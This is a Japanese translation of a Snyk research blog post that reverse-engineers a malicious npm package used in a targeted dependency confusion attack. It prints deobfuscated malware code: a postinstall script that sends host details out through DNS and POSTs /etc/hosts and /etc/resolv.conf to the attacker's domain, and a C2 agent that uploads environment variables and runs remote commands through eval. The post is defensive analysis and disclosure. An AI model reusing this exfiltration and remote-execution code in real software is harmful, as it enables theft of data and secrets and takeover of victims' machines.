本記事は、2022年4月29日 (米国時間) に Snyk Security Research team が公開した Targeted npm dependency confusion attack caught red-handedを日本語化した内容です。
UPDATE - 01/05/2022 - npm はレジストリから悪意のあるパッケージを削除しました。
npm マルウェアの動向
近年、様々なエコシステムにおいて、悪意のあるパッケージの数が増え続けています。一般的に、これらのパッケージの大半は情報を収集するものの、感染したマシンに害を与えないという問題のないものです。しかし時折、目的・手段と実用性をも備えた本当に悪質なパッケージに遭遇することがあります。
npm で実際のマルウェアを発見する
Snyk のセキュリティ研究チームは、悪質な行いをするパッケージの検出に積極的に取り組んでいます。そして、レジストリに悪意のあるパッケージが出現した後、できるだけ早くスキャンし注意喚起を促しています。この目標を達成するため、私たちは悪意のあるパッケージを検出するための様々なメカニズムを持つ堅牢なシステムを構築しました。
悪意のあるパッケージのトラップを設置してからわずかな期間で、すでに多くのライブラリが悪意あるものとして報告されています。しかし、調査したところ、その多くが "softly-malicious" な (やや悪意のある) パッケージに関する報告であることが判明しました。
私たちが定義する "softly-malicious" とは、パッケージが以下のいずれかを行っている場合を指します:
- DNS ルックアップによるマシン関連情報の取得 (ただし、それ以上のアクションはなし)
- クリプトマイニング (これは悪いことですが、悪意のある方法としてはさほど興味深いものではありません ¯_(ツ)_/¯ )
- 他の研究者の "softly-malicious" パッケージで、主にテスト用
- このリストにある項目の他のいくつかのバリエーション
最終的に、非常に興味深いパッケージである gxm-reference-web-auth-server
を見つけ、悪意のあるパッケージとしてマークしました。ざっと見て、何かが違うと感じたので、VM を起動して、その tar 形式圧縮ファイルを調べました。
レポートは npm パッケージのものだったので、最初に見たのは package.json
ファイルでした。予想通り、そのパッケージから JavaScript ファイルを呼び出すポストインストールスクリプトが含まれていました。あまり知られていないかもしれませんが、ポストインストールスクリプトは、npm が関連する依存パッケージのインストール後にスクリプトを実行させる非常に一般的な方法で、攻撃者が被害者のマシンでスクリプトを実行する簡単な方法でもあります。
起動されたファイルを調べたところ、難読化されていました。しかし、難読化とは、コードを「隠す」ための一見手の込んだ方法に過ぎず、実際には (少なくとも JS の世界では) 比較的簡単に元に戻すことができるのが普通です。
パッケージのファイルで次に気になったのは、暗号化されたファイルでした。私たちのスパイダー的な感覚がうずき始め、より深く調べることにしました。
マルウェアのリバースエンジニアリング・パート 1: ラッパー
前述の通り、パッケージには難読化されたファイルと暗号化されたファイルが 1 つずつ追加されていました。
root@3b869b434e7d:/tmp# tar -tvf ./gxm-reference-web-auth-server-1.33.8.tgz
-rw-r--r-- 0/0 19023 1985-10-26 08:15 package/confsettingsaaa.js
-rw-r--r-- 0/0 97136 1985-10-26 08:15 package/obfusc.enc.js
-rw-r--r-- 0/0 393 1985-10-26 08:15 package/package.json
# unpacked the tar and:
root@3b869b434e7d:/tmp/package# file ./*
./confsettingsaaa.js: ASCII text, with very long lines
./obfusc.enc.js: data
./package.json: JSON data
そして、package.json
には、ポストインストールスクリプトが含まれていました。
{
"name": "gxm-reference-web-auth-server",
"version": "1.33.8",
"description": "",
"main": "index.js",
"scripts": {
"postinstall": "node confsettingsaaa.js",
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywords": [],
"dependencies": {
"axios": "0.26.0",
"targz": "1.0.1",
"ldtzstxwzpntxqn": "^4.0.0",
"lznfjbhurpjsqmr": "^0.5.57",
"semver": "7.3.5"
},
"author": "",
"license": "ISC"
}
ここではポストインストールスクリプトをまず確認しますが、ldtzstxwzpntxqn
と lznfjbhurpjsqmr
という二つの意味不明な依存パッケージも発見しました。後でそれらを見てみることにします。
ポストインストールスクリプトの confsettingsaaa.js
ファイルを覗くと、以下のようになっています。
root@3b869b434e7d:/tmp/package# cat confsettingsaaa.js
const a0_0x489fde=a0_0x5400;(function(_0x552d48,_0x2cc03c){const _0x462334=a0_0x5400,_0x2fedb3=_0x552d48();while(!![]){try{const _0x5c5667=-parseInt(_0x462334(0x167))/0x1*(-parseInt(_0x462334(0x10b))/0x2)+-parseInt(_0x462334(0x116))....... # trimmed
このファイルを理解するために、我々は deobfuscator という難読化解除ツールを使用して、読めるようにしました。コードを調べ始めると、このファイル (マルウェアのパート 1 であるため、ここからは P1 と呼ぶことにします) は、pkgio[.]com の存在しないサブドメインへの検索を介して OS 情報とパッケージ情報を流出させていることがわかりました。
telemetry = '.pkgio.com'
dns.lookup(
replace_special_chars(os.userInfo().username) +
'.' +
replace_special_chars(os.hostname()) +
'.h' +
telemetry,
(err, ip_addr, ip_ver) => {
err && console.log(err.message)
}
)
var localpack = fs.readFileSync(
path.join(process.cwd(), 'package.json'),
'utf8'
)
nameresolved = JSON.parse(localpack).name
dns.lookup(
replace_special_chars(nameresolved) + '.n' + telemetry,
(err, ip_addr, ip_ver) => {
err && console.log(err.message)
}
)
process.env.NO_PROXY &&
dns.lookup(
replace_special_chars(process.env.NO_PROXY) + '.p' + telemetry,
(err, ip_addr, ip_ver) => {
err && console.log(err.message)
}
)
このコードは流出させるだけで、害はないと思うかもしれませんが、これらの流出は、実は攻撃者の偵察にとって貴重で、ターゲットとその設定を特定することができるのです。ちなみに、攻撃者が DNS ルックアップを悪用する理由は、この種のルックアップが通常ファイアウォールやネットワークフィルターを通過できるためです。ルックアップが攻撃者自身の DNS サーバーに到達し、リクエストを記録することができるのです。
続いてファイルを読み進めていくと、さらに興味深いことが分かってきました。まず、すべての try/catch ブロックは、例外をキャッチすると、 fail
関数を呼び出します。次に、このスクリプトは依存パッケージの 1 つを使用していることがわかりました。lznfjbhurpjsqmr
です。
これら 2 つの依存パッケージについて説明する前に、まず fail
関数とそのメカニズムについて説明します。fail 関数は呼び出されると、主に 2 つのことを行います。まず、自分自身の後始末をします。fail 関数は、パッケージの関連ファイルをすべて削除しクリーンアップするのです。
function fail() {
try {
fs.unlink(path.join(process.cwd(), 'package.json'), (cb) => {
})
fs.unlink(path.join(process.cwd(), 'confsettingsaaa.js'), (cb) => {
})
fs.existsSync('mac.enc.js') &&
fs.unlink('mac.enc.js', (cb) => {
if (cb) {
}
})
fs.existsSync('mac.dec.js') &&
fs.unlink('mac.dec.js', (cb) => {
// ...more like this
これはマルウェアにしてはイケてるメカニズムですが、次のステップでは警戒すべきことがあります。
クリーンアップの後、この関数はおとりである package.json
と index.js
ファイルを作成し、"Please refer to the private registry instead of the public repo; Security Team" (パブリックリポジトリではなく、プライベートレジストリを参照してください。セキュリティチームより) とコンソールへ出力します。
fs.writeFileSync(
'package.json',
'{\n "name": "' +
mypackage + // mypackage = 'gxm-reference-web-auth-server'
'",\n "version": "' +
triggerversion + // the current package version
'",\n "description": "",\n "main": "index.js",\n "scripts": {\n "test": "echo \'Error: no test specified\' && exit 1"\n },\n "keywords": [],\n "author": "",\n "license": "ISC"\n }\n '
)
fs.writeFileSync(
'index.js',
"console.log('Please refer to the private registry instead of the public repo; Security Team');\nprocess.exit(-1);\n "
)
console.log(
'Please refer to the private registry instead of the public repo; Security Team'
)
process.exit(-1)
これを読んだ後、私たちはいくつかの疑問を持ちました。なぜ悪意のあるパッケージは自分自身を完全に削除しないのか?なぜ、セキュリティチームによる正当なコメントを裝うのか?このパッケージは、どの組織をターゲットにしているのか?
これらの疑問はほとんど解明できました。一方、ターゲットを特定し警告するために全力を尽くしましたが、現時点では、ターゲットになっている組織を特定することはできていません。これらの疑問を念頭に置きながら、次に進みましょう。
依存パッケージ ldtzstxwzpntxqn & lznfjbhurpjsqmr
上記のように、問題のパッケージは2つの依存パッケージをインストールします。ldtzstxwzpntxqn
と lznfjbhurpjsqmr
です。両者の npm ページにアクセスすると、どちらも同じメンテナーによってプッシュされており、メンテナーのページはこのようになっていました。
これは興味深く、パッケージに関するいくつかの疑惑がはっきりしました。しかし、依存パッケージそのものは、既存のまっとうなパッケージの単なるコピー&ペーストに過ぎませんでした。
パッケージ名 | オリジナルパッケージ | 目的 |
---|---|---|
ldtzstxwzpntxqn |
npmi |
npm install に、よりシンプルな API を提供するパッケージ (プログラム的インストールを可能にする) |
lznfjbhurpjsqmr |
global-npm |
ローカルの node モジュールとして、グローバルな npm を要求 |
後で残りのコードを確認したときに分かったのですが、これらのパッケージは元のパッケージの意図どおりに使用されていました。なぜ攻撃者は、元のパッケージを使う代わりに、これらのパッケージを作ることに労力を費やしたのでしょうか? 私たちにはわかりませんし、おそらくこれからもわからないでしょう :/
ターゲットの絞り込みとプライベートレジストリ (パート 2 導入編)
事前の注釈:
- 以下のセクションで、「コードがベイルした」と書くときは、クリーンアップのために上記の
fail
関数が呼び出されたことを意味します。 - どの組織がターゲットになっているかは分からないので、
ORG
と呼ぶことにします。
P1 の次のステップは、.npmrc
ファイルからプライベートレジストリ用の認可設定を取得することです (ここで lznfjbhurpjsqmr
が使用されます)。もしそのような設定やファイルを見つけられなかったら (P1 のコードはマシン全体からそれを探します)、コードはベイルします。
もしそのような認可情報が見つかった場合、設定ファイルで指定されたプライベートレジストリから同じ名前のパッケージをダウンロードしようと試みます。ここではいくつかの派生したパッケージ名も試します。
@ORG/gxm-reference-web-auth-server, ORG/gxm-reference-web-auth-server and gxm-reference-web-auth-server
プライベートレジストリでこれらを見つけられなかったり、ダウンロードに失敗したりすると、コードはベイルします。
もしプライベートレジストリから tar 圧縮されたパッケージをダウンロードできた場合は、続いて以下の処理が行われます。
- ダウンロードしたモジュールを
.documentation
サブディレクトリにnpm install
でインストールします (インストールにはldtzstxwzpntxqn
パッケージを使用)。インストールに失敗した場合はベイルします。 - 現在のパッケージ内容を、新しくインストールされたパッケージの内容で置き換えます。失敗した場合はベイルします。
- ネットワーク関連の設定ファイル 2 つと新しい package.json の内容を POST リクエストで送信する。
topostfiles = ['package.json', '/etc/hosts', '/etc/resolv.conf']
for (var entry of topostfiles) {
if (fs.existsSync(entry)) {
contents = fs.readFileSync(entry, {encoding: 'base64'})
try {
axios({
method: 'post',
url: 'https://www' + telemetry + '/' + entry,
data: {data: contents},
httpsAgent: agent,
maxBodyLength: Infinity,
maxContentLength: Infinity,// …
4 .暗号化されたファイルを復号化し、新たなプロセスとして実行する (暗号化アルゴリズム、鍵、初期化ベクターはハードコーディングされている。このファイルについては次節で詳しく説明する)。
try {
const child_proc = spawn('node', ['obfusc.dec.js'], {
cwd: process.cwd(),
detached: true,
stdio: 'ignore',
windowsHide: true,
})
child_proc.on('error', (err) => {
})
child_proc.unref()
// ...
5 .関連ファイルのクリーンアップ (このステップでは、P1 由来のコードと暗号化されたファイルのみをクリーンアップします)。
6 .終了する。
以上の分析を踏まえれば、プライベートレジストリに gxm-reference-web-auth-server
パッケージがあるか、アクセスできない場合を除いて、マルウェアはこれらのステップをスキップします。
このことは、下記を暗示しています。
- このパッケージは、特定の組織をターゲットにしている。
- このパッケージの背後にいる攻撃者は、ターゲットである組織のプライベートレジストリにこのパッケージが存在することを知っている。
以上で P1 の全ステップの分析を終え、“malware wrapper” (マルウェアラッパー) も終了します。
マルウェアのリバースエンジニアリング・パート 2: エージェント
ラッパーはファイルを復号するための情報をハードコードしていたため (攻撃者のミスだと思われます)、私たちもファイルを復号することができました。
ラッパーと同様に、このエージェントのファイルも難読化されており、1 行の解読不能な文字列になっていました。しかし、今回は難読化の解除に手間取ってしまい、コードに謎が残りました。
(() => {
// IMO webpack stuff?
function _0xa77521(_0x323c64) {
var _0x573f49 = _0x44b56a[_0x323c64]
if (void 0 !== _0x573f49) {
return _0x573f49.exports
}
var _0x3a5d0d = (_0x44b56a[_0x323c64] = {exports: {}})
return (
_0x1cc104[_0x323c64](_0x3a5d0d, _0x3a5d0d.exports, _0xa77521),
_0x3a5d0d.exports
)
};
// ...
他の難読化解除ツールもいくつか試しましたが、これ以上の結果は得られませんでした。私たちは途中まで解除されたコードに対して、手作業で難読化解除を開始しました。少しの努力の後、私たちはファイルを人間が読める形に変換することに成功しました。それでは次に、エージェントの内部構造を調べてみましょう。
エージェントの登録
エージェントが最初に行うようにプログラムされていたのは、コマンド&コントロール・サーバー (CNC または C2 と呼ばれる) に自分自身を登録することです。これにより、エージェントは後の通信に使用される 3 つの重要な文字列、すなわちペイロードを暗号化するためのキーと初期化ベクター (IV)、そして UUID を受け取ります。
async function init_agent() {
try {
axios({
method: 'POST',
url: c2_server + '/register',
data: {engine: 'nodejs'},
headers: {'User-Agent': useragent},
httpsAgent: httpsAgent,
}).then(function (response) {
key = response.data.key,
iv = response.data.iv,
uuid = response.data.uuid,
// …
このリクエストが完了すると、C2 サーバーとエージェント間のそれ以降の通信はすべて、これらのキーと IV を使って暗号化/復号化されます (アルゴリズムはハードコーディングされています)。このリクエストの直後に、エージェントはサーバーに、エージェントの環境に関する情報を含む POST
リクエストを送信します。
// ...
key = response.data.key,
iv = response.data.iv,
uuid = response.data.uuid,
os_platform = os.platform(),
os_arch = process.arch,
env = JSON.stringify(process.env),
node_version = process.version,
os_username = os.userInfo().username,
hostname = os.hostname
datajson = {
platform: os_platform,
architecture: os_arch,
version: node_version,
user: os_username,
hostname: hostname,
environment: env,
engine: 'nodejs',
}
datastring = JSON.stringify(datajson)
encryptdata = encrypt(key, iv, datastring)
axios({
method: 'post',
url: c2_server + '/updateinfosnodejs',
data: {
identity: uuid,
data: encryptdata,
},
headers: {'User-Agent': useragent},
httpsAgent: httpsAgent,
// …
このリクエストが送信されると、エージェントは次のステップに移ります。
実行ループ
エージェントの実行ループは非常に単純です。様々なコマンドのためのわずかな if-else があり、C2 サーバが何を示したかによってそれらを実行します。例えば、エージェントは delete
コマンドを受け取ったら自分自身を削除することができますし、C2 からスニペットが送られればそれを評価することができます。
// ...
try {
if (
((response = ''), await sleep(agent_sleep), "delete" == command_type)
) {
return false // agent lives as a process, so a “return” equals termination
}
if ('exec' == command_type || "eval" == command_type) {
try {
response = eval(payload)
} catch (error) {
response = error.message
}
} else { // data and file exfiltration
if ('upload' == command_type) {
// ...
エージェントは以下のコマンドに反応します。
["download", "upload", "exec", "eval", "delete", "register"]
これらのコマンドのうち、exec
や eval
は攻撃者が感染したマシンを完全に制御できるようにするリバースシェルを実行することができることに注意してください。また、register
オプションを再度呼び出すと、エージェントと C2 サーバーが暗号化情報を交換し、暗号化情報の変更に備えて再生成できることに注意してください。
この機能はユニークで高度に見えるかもしれませんが、C2 エージェントの世界では、被害者のマシンに仕掛けるエージェントの標準的な機能です。いずれにせよ、このエージェントのソースコードは、既知の C2 フレームワークと関連付けることができませんでした。
マルウェアに関するまとめ
マルウェアの全容を理解したところで、次のように結論づけることができます:
- このマルウェアは、固有の、しかし特定不可能な企業を標的にしています。一方で、リバースエンジニアリングから得られた情報を考慮すると、この企業はプライベートレジストリに “gxm-reference-web-auth-server” パッケージを持っていることが予想されます。
- このパッケージは、被害者のプライベートレジストリから自分自身を探すため、サプライチェーン攻撃の一種であるパッケージ依存性混乱攻撃と分類することも可能です。
- 攻撃者は、その企業のプライベートレジストリにそのようなパッケージが存在するという情報を持っていたと思われます。
この時点で、パッケージの仕組みは見えていたものの、C2 サーバーが応答するかどうか、これが現実の攻撃活動かどうかを確認することにしました。さあ、おとり捜査を始めましょう。
“Among Us” ゲームで敵に向き合う
次の実験のアイデアは単純です。その向こうに誰かいるのか、いるのなら現在進行中なのかを調べようと思ったのです。そのためには、次のことをしなければなりませんでした。
- ラッパーなしでエージェントを使用する (P1 は、.npmrc の認証情報がないなどの理由で、私たちのクライアントを除外します)
- すべての HTTP/HTTPS トラフィックを傍受し記録する (C2 サーバが何を送受信しているかを確認したかったのです)
- 記録されたデータを一方通行かつ改ざんも検知もできない方法で取得する (攻撃者もマシンにアクセスできるのでこれは重要です!)
しかし、これらの項目に対処する前に、サーバー自体に関する情報を収集したいと考えました。
誰かいますか?
私たちは、標準的な WHOIS と Nmap スキャンを使用して、サーバーに関する情報を収集しました。WHOIS の結果、サーバーは DigitalOcean この会社にはサーバーの IP を報告しました) でホストされていることがわかり、Nmap スキャンでは次のように表示されました。
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
2000/tcp open tcpwrapped
3306/tcp open mysql MySQL 5.5.5-10.1.35-MariaDB-1
5060/tcp open tcpwrapped
8080/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
8443/tcp open ssl/http Apache httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
サーバーはセキュアとはいえず、稼働中でポートも開いていたのです。
インポスター (Among Us の敵チーム)
さて、話は戻りますが、今回用意したのは以下のものです。
- エージェントコード: 復号化により取得したコードで、ラッパー (P1) とは独立して実行可能です。
- インターセプター: エージェント自体が NodeJS の HTTP/HTTPS モジュールを使用しているため、これは NodeJS 環境で実装する必要がありました。
- ロギングパイプライン: HTTP/HTTPS リクエストを非常に細かく扱うことができ、すでに様々なインテグレーション (value-storage や Slack インテグレーションなど) が用意されていることから、Pipedream を使用することにしました。
インターセプターについては、@gr2m/http-recorder ライブラリを使用しました。これは、HTTP/HTTPS リクエストを完全にインターセプトして操作するという、まさに私たちが目指していたものを実現してくれました。
ステップ 1 と 2 を組み合わせると、次のようなスニペットになります。
httpRecorder.start();
httpRecorder.addListener(
'record',
({request, response, requestBody, responseBody}) => {
if (request.host === hostname) { // we emit http requests as well, but don't want to loop infinitely
return;
}
const buffer = [];
const {method, protocol, host, path} = request;
const reqHeaders = request.getHeaders();
buffer.push({
type: 'request',
method,
protocol,
host,
path,
headers: reqHeaders,
body: Buffer.concat(requestBody).toString()
})
const {statusCode, statusMessage, headers: responseHeaders} = response;
buffer.push({
type: 'response',
statusCode,
statusMessage,
headers: responseHeaders,
body: Buffer.concat(responseBody).toString()
})
send(Buffer.from(JSON.stringify(buffer)).toString('base64'))
}
);
console.log('[+] Invoking malware...');
require('./mal') // here we invoke the agent itself
console.log('[+] Malware running! ☠');
あとはそれを私たちに送るだけです。Pipedream を使って、send
関数がペイロードを用意したエンドポイントに送信し、それを私たちで処理しました。
処理にあたってキーと IV を保管して復号化を可能にした上で、Pipedream のパイプラインを Slack の匿名ワークスペースに統合し、そこにメッセージを記録するようにしました。こうすることで、エージェントと C2 サーバーがメッセージを交換するたびに、すべての情報が復号化され、読める状態で Slack に通知されるようになりました。以下は、私たちの感染したマシンのセットアップの図解です。
そして、Slack での出力例です。
そうして、擬似的なハニーポットが出来上がったのです。
Hello, It’s Me (ここにいますよ)
偽のエージェントが立ち上がって、C2 サーバーと通信した後すぐに、コマンドが届き始めました。最初のコマンドは ls
で、その後に攻撃者は可視のファイルを全て cat
し、システムを横切ろうとしました。以下は、受信したコマンドの一例です (base64 からデコード済)。
この時点で、向こう側に誰かがいるかどうかを判断するという目的は達成されたので、この実験を中止することにしました。
これは、オリジナル/プライベートの "gxm-reference-web-auth-server" の保有者に対して、現実の攻撃活動が行われていることを示唆しています。
追伸、あります
実験を終了する直前に、興味深いことに気づきました。C2 アドレスの他に、ハードコードされた値がいくつかありました。そのうちのひとつが、最初の /register
呼び出しにおける "engine" プロパティの値でした:
async function init_agent() {
try {
axios({
method: 'POST',
url: c2_server + '/register',
data: {engine: 'nodejs'}, // ← but why?
headers: {'User-Agent': useragent},
httpsAgent: httpsAgent,
}).then( // … )
もう気付かれないようにすることはどうでもよくなったので、他の種類のターゲットがあるかどうかを確認するために、値をファジングすることにしました。しばらくすると、さらに engine の種類が見つかりました:
root@3b869b434e7d:/tmp/package# ./opts.sh
[!] response for engine = nodejs
{"iv":"jFhDrjFWaCGFjZJE","key":"FsEAsoiDWzYJwrNIgYoonpTRmQhzJvcl","uuid":"a8381854-2986-4754-8cbe-dbf5c0bcb8dd"}
[!] response for engine = go
{"iv":"dqgIwAQoYKPsziVz","key":"VucfFKCVOFpdkgobVpDjbNXojwPmvbNm","uuid":"5280d805-08cf-4b9e-9bd5-fbe85f5d5014"}
[!] response for engine = browser
{"uuid":"f820fc90-9618-4d90-9991-9d70cdc1d4f8"}
これは、少なくともブラウザのエージェントと Golang のエージェントが存在することを意味しており、さらに多くのエージェントが存在すると考えてもおかしくはないでしょう。
情報公開と今後について
私たちはこのマルウェアの内部構造を知っていますが、どの組織/企業が標的になっているかはわかりません。したがって、このプラットフォーム (Twitter など) を使用して、このパッケージについてコミュニティに警告するとともに、コミュニティからの警告を要請します。これに関する質問や懸念があれば、気軽に私たちに連絡 (または @snyksec に DM) していただきたいと考えています。
また、DigitalOcean にもアプローチし、彼らのサービスから C2 サーバを削除するよう依頼し、npm にも悪意のあるパッケージを通知して削除するよう依頼しています。
とはいえ、これで私たちの探求は終了とさせていただきます。 攻撃は複雑で巧妙なですが、この攻撃の最初の侵入ベクトルは単純なパッケージの依存関係の混乱であり、これは簡単に軽減できることを指摘しておきたいと思います。
安全で安心な開発生活を!